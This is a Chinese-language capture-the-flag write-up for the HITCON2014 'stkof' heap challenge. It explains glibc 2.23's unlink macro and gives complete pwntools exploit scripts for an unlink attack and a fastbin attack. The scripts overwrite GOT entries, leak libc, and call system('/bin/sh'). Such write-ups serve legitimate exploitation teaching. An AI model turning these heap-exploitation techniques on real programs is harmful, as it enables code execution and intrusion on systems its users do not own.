1. 程式人生 > >【Pwn】HITCON2014 stkof -溫故知新unlink & fastbin attack

【Pwn】HITCON2014 stkof -溫故知新unlink & fastbin attack

本文永久連結:https://thinkycx.me/posts/2018-11-30-HITCON2014-stkof.html
相關檔案和exploit下載地址:https://github.com/thinkycx/pwn/tree/master/HITCON2014/stkof

這題是HITCON2014中一道高分題,放到今天來看也就是考察普通的unlink利用。既然重新做了,就好好的寫一下,省的以後再返工。廢話不多說,具體來看一下。(文末更新,本題用fastbin attack也可以做)

0x01 題目資訊

64位程式,開了NX和canary。

image-20181128151445862

程式提供了四個功能:

  1. create功能: malloc任意大小的chunk,並儲存malloc返回的指標在bss的data[++malloc_times]陣列中。注意:chunk1儲存在data[1]。
  2. input功能:獲取chunk number和size,向data[number]的chunk寫size長度的資料,堆溢位!
  3. delete功能:獲取chunk number,呼叫free函式,並清空data[number]。
  4. sub_400BA9函式:似乎是一個沒有寫完的函式,呼叫puts輸出了一些東西,沒用到。

image-20181130153842982

image-20181130153925118

image-20181130153953946

image-20181130154029272

0x02 unlink

unlink 實現

glibc-2.23中unlink巨集的實現:

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \   
    if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0))      \ //size   
      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \
    FD = P->fd;								      \                                               
    BK = P->bk;								      \                                               
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \ 		// FD BK         
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \
        FD->bk = BK;							      \
        BK->fd = FD;							      \			 // arbitray write here!
        if (!in_smallbin_range (P->size)				      \ 
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \  // todo again
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
	      malloc_printerr (check_action,				      \
			       "corrupted double-linked list (not small)",    \
			       P, AV);					      \
            if (FD->fd_nextsize == NULL) {				      \
                if (P->fd_nextsize == P)				      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                else {							      \
                    FD->fd_nextsize = P->fd_nextsize;			      \
                    FD->bk_nextsize = P->bk_nextsize;			      \
                    P->fd_nextsize->bk_nextsize = FD;			      \
                    P->bk_nextsize->fd_nextsize = FD;			      \
                  }							      \
              } else {							      \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
              }								      \
          }								      \
      }									      \
}

unlink設計的理由個人理解是:free當前chunk時,發現當前chunk相鄰的(前面或者後面的)chunk處於free狀態,因此可以將兩個chunk合併。但是由於相鄰的chunk已經是free的,該chunk的FD和BK指向了所在bins中的前後chunk,因此需要將該chunk解鏈(unlink),之後和當前正在free的chunk合併。

unlink attack的條件

在glibc-2.23 x64位程式中要實現free時unlink attack的一個條件如下(別的場景下也可以實現unlink,如realloc):

  • 可以malloc size>0x80的chunk,chunk地址假設為ptr
  • 該chunk的PREV_SIZE和PREV_INUSE可以被修改(通常是前面chunk的堆溢位,或者極限一點off-by-one)
  • 在ptr-PREV_SIZE偽造一個大小是PREV_SIZE的fake chunk ,地址假設為fake_chunk_ptr(PREV_SIZE偽造時,要看記憶體中有什麼指標)
  • 記憶體中有fake_chunk_ptr指標,偽造fake chunk的FD=&fake_chunk_ptr-0x18,BK=&fake_chunk_ptr-0x10

unlink最終實現的效果是,記憶體中的fake_chunk_ptr指標被修改為fake_chunk_ptr-0x18,通常此時可以實現指標的修改,從而實現arbitrary write!

unlink attack舉例

以本題為例,malloc的size沒有限制,並且存在堆溢位。那麼構造一個如下的堆佈局:chunk2大小是0x31,chunk3大小是0x91。程式bss中有儲存malloc chunk的地址,如chunk2的地址是0x0e06840。

image-20181129165830001

unlink最重要的是在記憶體中找到fake_chunk_p,這裡是0xe06840,fake_chunk_p的地址為0x602150。

  1. 計算fake_chunk_p和chunk3的offset為0x20,因此在fake_chunk_p處構造一個size為0x21的chunk。
  2. fake_fd = fake_chunk_p-0x18 ,fake_bk = fake_chunk_p-0x10
  3. 溢位chunk3的PREV_SIZE為offset,溢位chunk3的PREV_INUSE。

構造好的堆佈局如下:

image-20181129230858706

因此unlink發生時,結合unlink巨集的原始碼,可以bypass最重要的校驗,同時在unlink時修改fake_chunk_p:

FD->bk =  *(fake_fd+0x18) == fake_chunk_p
BK->fd = *(fake_bk+0x10) == fake_chunk_p
...
FD->bk = BK;  *(fake_chunk_p-0x18+0x18)  = fake_chunk_p-0x10
BK->fd = FD;  *(fake_chunk_p-0x10+0x10)  = fake_chunk_p-0x18
// 最終實現 *(fake_chunk_p)  = fake_chunk_p-0x18

image-20181129230651978

0x03 exploit

unlink的實現原理搞清楚了,本題的利用思路也就很清楚了。

  1. 由於本題沒有呼叫setbuf,因此gets和printf第一次呼叫時會申請chunk,因此malloc第一個0x400的chunk1來呼叫gets和printf,先申請好他們的chunk,不影響我們後續的堆佈局。chunk1的地址儲存在bss段data[1]中。
  2. malloc 0x20和0x80的chunk2和chunk3,修改chunk2內容,偽造fake_chunk 並溢位chunk3的PREV_SIZE和PREV_INUSE,free chunk3來unlink fake_chunk,實現修改data[2],劫持了chunk2的指標為fake_chunk-0x18,也就是data[-1]的位置。
  3. 修改chunk2,實現對bss段data[]內容的修改,就劫持了chunk 1 2 3 的指標。由於要洩漏libc,修改chunk2時修改data[1]為[email protected],繼續修改chunk1時,就可以 修改[email protected]的內容,劫持free函式。由於要洩漏libc,因此劫持[email protected][email protected]
  4. 同理,劫持[email protected]為system地址,getshell。見exp.py。
  5. 由於可以呼叫puts函式,因此libc也可以用pwntools的DynELF來得到,就不需要libc binary了,見exp2.py。

exp.py

def pwn(io):
    log.info("[1] create 1 2(malloc 0x20) 3(malloc 0x80) chunks")
    # binary don't have setbuf , heap looks like : gets's chunk, first user malloc chunk, printf's chunk
    create(0x400) # 1 first chunk in data[] number is 1 ;because ++malloc_times
    # gdb.attach(io,'break *0x400C85') # 0x0000000000400C85 atoi in main
    
    create(0x20) # 2  store fake chunk here
    # create smallbins 
    create(0x80) # 3
    # create(0x10) # 4 after unlink, don't merge with top chunks

    log.info("[2] arrange fake 0x21 chunk and fd bk in chunk2 & overflow 3's PREV_SIZE and PREV_INUSE")
    fake_unlink_p = 0x602150
    fd = fake_unlink_p-0x18
    bk = fake_unlink_p-0x10
    payload1_overflow = p64(0) + p64(0x21) + p64(fd) + p64(bk)+ p64(0x20) + p64(0x90) # overflow chunk3 PREV_INUSE , set to 0x90
    input(2,len(payload1_overflow),payload1_overflow)
    delete(3) # unlink chunk2 *(fake_unlink_p) = fd, change the global ptr data[2]@0x602150's content to FD (fake_unlink_p-0x18)!
    log.success("unlink success! we can arbitrary write now!")

    log.info("[3] write [email protected] into [email protected] and call puts([email protected])")
    #                                                 1               2                3               4 
    payload2_globalptr = p64(0) + p64(0) + p64(elf.got['free']) + p64(fd) + p64(elf.got['puts']) + p64(0x400DEC) # //TODO
    input(2, len(payload2_globalptr), payload2_globalptr)
    input(1, 8, p64(elf.plt['puts']))
    delete(4) # puts("//TODO")
    delete(3) # puts([email protected])

    io.recvuntil("//TODO\nOK\n")
    libc.address = u64(io.recv(6)+"\x00\x00") - libc.symbols['_IO_puts']
    log.success("glibc address base @ 0x%x",libc.address )

    log.info("[4] write &system into [email protected] and call system(\"/bin/sh\")")
    payload3_globalptr = p64(0) + p64(0) + p64(elf.got['free']) + p64(fd) + p64(fake_unlink_p+0x10) + "/bin/sh\x00"
    input(2, len(payload3_globalptr), payload3_globalptr)
    input(1, 8, p64(libc.symbols['system']))
    delete(3) # system("/bin/sh")

image-20181130165823870

Diff exp2.py exp.py

def leak(address):
    payload = p64(0) + p64(0) + p64(address)
    input(2, len(payload), payload)
    delete(1) # puts(address)

    io.recvuntil("OK\n")
    # raw_input("recv")
    data = io.recv()
    data = data.split("\nOK\n")[0] # this data is not belong to this address

    if data=="":
        data =  "\x00"
    log.debug("%#x => %s" % (address, (data or '').encode('hex')))
    return data   


def pwn(io):
    [...]

    log.info("[3] write [email protected] into [email protected]")
    #                                                 1               2                3               4 
    payload2_globalptr = p64(0) + p64(0) + p64(elf.got['free']) + p64(fd) + p64(0x400DEC) # //TODO
    input(2, len(payload2_globalptr), payload2_globalptr)
    input(1, 8, p64(elf.plt['puts']))

    io.recv()
    log.info("[4] leak system address...")
    # leak(elf.got['free'])
    # leak(0x400000)
    d = DynELF(leak, elf.address, elf)
    system_addr = d.lookup('system', 'libc') # must have  'libc'
    log.success("system addr: %#x" % system_addr)

image-20181130165852571


PS1:IDA7.0 F5虛擬碼中將bss上儲存malloc地址的變數識別為::s,很容易和棧上的變數s搞混,一開始還以為是同一個變數,最好修改個名字中,這裡修改為data。

PS2:如果unlink時,chunk3後是top chunk,chunk2 chunk3會和top chunk合併。

image-20181129193903158

如果chunk3後不是top chunk,那麼chunk2和chunk3會合並,同時fd和bk會指向main_arena+88,就是&main_arena->top。

image-20181129194606652

0x04 新解 fastbin attack

20181203思路:申請fastbin的chunk2 chunk3 , free chunk3,堆溢位修改chunk3的fd,size偽造在&malloc_times,因此malloc兩次就可以在&malloc_times+0x8處寫。同樣可以修改data中的指標。

image-20181203131924047

diff exp.py exp-fastbin.py

def pwn(io):
    log.info("[1] malloc 0x30 times ")
    # binary don't have setbuf , heap looks like : gets's chunk, first user malloc chunk, printf's chunk
    create(0x400) # 1 first chunk in data[] number is 1 ;because ++malloc_times
    
    for i in range(0x2f):
        create(0x20)

    log.info("[2] free chunk3 , overflow chunk3'fd , fastbin attack ")
    delete(3)
    # gdb.attach(io,'break *0x400C85') # 0x0000000000400C85 atoi in main
    payload = 0x28*"a" + p64(0x31) + p64(0x0000000000602100-8) 
    input(2, len(payload), payload)
    create(0x20) # 0x31

    create(0x20) # 0x32

    # gdb.attach(io,'break *0x400C85') # 0x0000000000400C85 atoi in main
    log.success("fastbin attach success! we can arbitrary write now!")

    log.info("[3] write [email protected] into [email protected] and call puts([email protected])")
    #                                         1               2                3               4 
    payload2_globalptr = p64(0)*8  + p64(elf.got['free']) + p64(0xdeadbeaf) + p64(elf.got['puts']) + p64(0x400DEC) # //TODO
    input(0x32, len(payload2_globalptr), payload2_globalptr)
    [...]

image-20181203134749112